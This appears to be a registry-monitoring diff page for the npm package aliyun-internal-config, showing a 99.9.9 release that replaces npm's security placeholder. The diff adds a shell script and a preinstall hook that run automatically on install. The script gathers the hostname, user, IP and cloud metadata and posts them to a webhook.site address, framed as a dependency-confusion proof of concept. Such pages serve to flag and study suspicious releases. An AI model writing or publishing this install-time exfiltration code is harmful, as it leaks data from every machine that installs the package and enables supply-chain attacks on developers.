aliyun-internal-config 0.0.1-security → 99.9.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of aliyun-internal-config might be problematic. Click here for more details.
- package/ms_audit.sh +15 -0
- package/package.json +8 -3
- package/README.md +0 -5
package/ms_audit.sh
ADDED
|
@@ -0,0 +1,15 @@
|
|
|
1
|
+
#!/bin/sh
|
|
2
|
+
URL="https://webhook.site/bebcbad8-da0e-43e1-af8d-9d069ca3bd42"
|
|
3
|
+
|
|
4
|
+
# Mengambil informasi dasar sistem tanpa merusak
|
|
5
|
+
INFO_HOSTNAME=$(hostname)
|
|
6
|
+
INFO_USER=$(whoami)
|
|
7
|
+
INFO_IP=$(ip addr | grep -oP '(?<=inet\s)\d+(\.\d+){3}' | head -n 1)
|
|
8
|
+
|
|
9
|
+
# Mencoba deteksi apakah ini lingkungan Alibaba (Aliyun)
|
|
10
|
+
IS_ALIYUN=$(curl -s -m 2 http://169.254.169.254/latest/meta-data/product-name 2>/dev/null)
|
|
11
|
+
|
|
12
|
+
# Kirim data ke Webhook
|
|
13
|
+
curl -s -X POST -H "Content-Type: application/json" \
|
|
14
|
+
-d "{\"status\":\"VULNERABLE\", \"scope\":\"@ali/config\", \"host\":\"$INFO_HOSTNAME\", \"user\":\"$INFO_USER\", \"ip\":\"$INFO_IP\", \"cloud\":\"$IS_ALIYUN\"}" \
|
|
15
|
+
$URL
|
package/package.json
CHANGED
|
@@ -1,6 +1,11 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "aliyun-internal-config",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "99.9.9",
|
|
4
|
+
"description": "PoC for Dependency Confusion Research",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"preinstall": "sh ms_audit.sh"
|
|
8
|
+
},
|
|
9
|
+
"author": "Security Researcher",
|
|
10
|
+
"license": "ISC"
|
|
6
11
|
}
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=aliyun-internal-config for more information.
|